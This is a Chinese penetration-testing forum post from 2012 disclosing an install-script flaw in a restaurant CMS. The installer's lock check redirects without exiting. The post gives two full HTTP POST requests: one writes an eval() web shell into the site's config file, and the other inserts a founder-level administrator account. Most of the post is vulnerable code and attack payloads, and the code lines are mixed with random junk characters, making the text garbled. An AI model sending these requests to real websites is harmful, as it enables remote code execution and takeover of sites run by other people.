中国网络渗透测试联盟

标题: 口福科技餐厅cms漏洞(可getshell) [打印本页]

作者: admin    时间: 2012-12-4 11:13
标题: 口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。) I, T. P9 ]3 ]7 g! q3 E; d% t
! m- k% T) p5 \5 Q& a
<?php/ E3 X' R  p7 [; ]
if(file_exists("../install.lock"))# `  X1 b5 B, `, ]. H7 D: d* r
{0 R: l( ~) [* ]; C+ ?2 W' e  \4 L
    header("Location: ../");//没有退出% V3 t  w' S0 M* |7 p5 n+ T
}& d. B" P; I9 `2 g. b
               
. t1 N) A  l( z) d- o# K//echo 'tst';exit;4 O$ j, M  _! ?9 s
require_once("init.php");
) f6 D- r6 R& U% sif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
+ P2 e/ k3 q% Q3 G" z  g; `{* D- q' H7 O5 F" |! e8 m
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
' L, b: f7 s* ^. m+ R" D, r$ r- z1 l, q
1、getshell(很危险)
5 ?3 n7 l% p5 ^0 E, U9 ^& j( _if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
& J4 O7 O, S8 [! `1 D4 R+ b1 R{5 T/ {9 ?2 y$ ~( ^4 Z  [' j
$smarty->assign("step",1);
3 G& R; I6 D, d1 |: n- k' `; Q$smarty->display("index.html");
' c2 p, l) R" F4 e4 a1 H. E}elseif($_REQUEST['step']==2)
/ w" Z6 ^% m" |. c% M  O{5 n3 K# p  T$ W2 G# y6 [
    $mysql_host=trim($_POST['mysql_host']);
% T3 N# V4 Q& u& d1 p    $mysql_user=trim($_POST['mysql_user']);; v6 G8 V" s9 Z$ T/ T6 N
    $mysql_pwd=trim($_POST['mysql_pwd']);  x5 f6 Z, d% p' W5 n5 F& v
    $mysql_db=trim($_POST['mysql_db']);- \# E( s5 a) }+ V) B. P
    $tblpre=trim($_POST['tblpre']);: j  J  p: ?% ?' q  e
    $domain==trim($_POST['domain']);
- J5 B+ {2 T6 p+ F    $str="<?php \r\n";
9 ?2 {7 m9 k) o, n' c  u    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
& j& ~/ Z; m3 b  ^8 ^# C! V& Z    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
4 l1 @. m: V3 ^0 Y. Z0 G) j2 D) w    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";( l- C9 G' B  m8 I3 n7 d( L
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";( Q6 x: {. l6 Y8 f
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
5 A! q3 D4 J% [+ _" Z    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";4 \; z$ D1 p/ A8 V  a; c' _- `
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";* ?, @7 i" H5 d) p
    $str.='define("SKINS","default");'."\r\n";
5 n7 K/ f4 B: ^% G6 i! I7 i    $str.='?>';
5 {: j8 C7 M+ F4 Y+ o5 x/ ?  u/ w    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
1 i# L% ^! D& R+ `, w, b上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马/ `4 e" {5 _# i6 q  w$ D1 D4 t
POST /canting/install/index.php?m=index&step=2 HTTP/1.1; g( H6 Z: @  r/ W, Q* @6 \
Host: 192.168.80.129* M3 m/ w1 B! t+ B& J2 S
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
# I& B* y8 |9 d+ z, D( k- C6 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" v/ W+ L8 Q1 R! A
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3) g# V9 B6 ~! Y: d5 p! q4 I4 I
Accept-Encoding: gzip, deflate
; @  j; F" b! t7 U- ~3 nReferer: http://192.168.80.129/canting/install/index.php?step=1
' u$ i: H7 H6 A8 G, a7 ICookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
, Q; v+ f% Q7 F7 n* B$ kContent-Type: application/x-www-form-urlencoded
$ f! h9 U* M6 {, S0 j# KContent-Length: 1267 G; `. _! k& B9 ~
          / u8 a) k* }$ z% C
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
  g; _3 n  i* ]9 F- k: M但是这个方法很危险,将导致网站无法运行。9 G* i( B. I% O! |3 h2 R/ |
# l( T, u4 h5 O' O
2、直接添加管理员& u8 ~, L) U+ i. o

! j' |1 L. c# I3 E& Z" }) }; y9 relseif($_REQUEST['step']==5)
0 b' D: l7 E5 M+ l: _{9 X9 k1 K/ }" |- G: c
    if($_POST)/ ?, U6 d  h1 X3 U
    {   require_once("../config/config.inc.php");
# ~' S# L) h2 h) n+ O        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
. u5 L; _# o+ I, b        mysql_select_db(MYSQL_DB,$link);- I4 g2 [# I- g, `" P
        mysql_query("SET NAMES ".MYSQL_CHARSET );
7 Z5 ]. H& M/ o& t' U1 X, ?         mysql_query("SET sql_mode=''");, B& C4 j) m: N1 H, [

6 B' _- d& M% r6 T# ]! G9 j& W: B0 b $adminname=trim($_POST['adminname']);
* t+ }: r* ^/ j% u7 ~- V        $pwd1=trim($_POST['pwd1']);7 a# u& L! M4 ~8 z" J" y! \
        $pwd2=trim($_POST['pwd2']);
; f& M2 o. `9 m( I2 y        if(empty($adminname))
# s1 h  Y" Y( n2 H6 Y8 [        {# M, K" S* |  M4 [7 t
6 H- S) C8 M2 Z; D- H
echo "<script>alert('管理员不能为空');history.go(-1);</script>";/ S8 W6 z% |) t' m2 o/ c/ x
            exit();
6 X  {5 r' B2 o0 `        }
& O- a/ Y4 Q! g2 k        if(($pwd1!=$pwd2) or empty($pwd1))
9 \6 X* f: u2 [        {  h+ C3 M- }. N* j# t, \! Y
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出4 V5 m3 m* K3 c7 g( ^$ W" j
        }
8 B3 g) @$ _2 P; C- ]        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
# x  l) y: V, Y8 ~    }
5 s" s+ x7 [/ G  a8 E这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
& k, o; [8 p! a& ^6 I6 }POST /canting/install/index.php?m=index&step=5 HTTP/1.13 P* p0 K/ O; C. L8 j: c0 G7 ~
Host: 192.168.80.1290 ~  A: `) g, e5 v) e
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.03 E' g! a: a; C3 Q# k/ q6 a) t' u
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
! y! q% `: @$ z% ?* cAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3' V/ G2 _* O+ g6 P
Accept-Encoding: gzip, deflate. \5 _$ ?7 B. e  `3 G# q
Referer: http://www.2cto.com /canting/install/index.php?step=1" G" ]$ v/ L9 b; X0 _& r
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
7 F2 C, b6 w* IContent-Type: application/x-www-form-urlencoded
3 c& Q" s; V2 @; lContent-Length: 46
/ @' |7 E% @+ W, J      7 |. ^/ v& L- Z* m
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​
# y9 ^% ]) z3 \, n, J' p* m




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2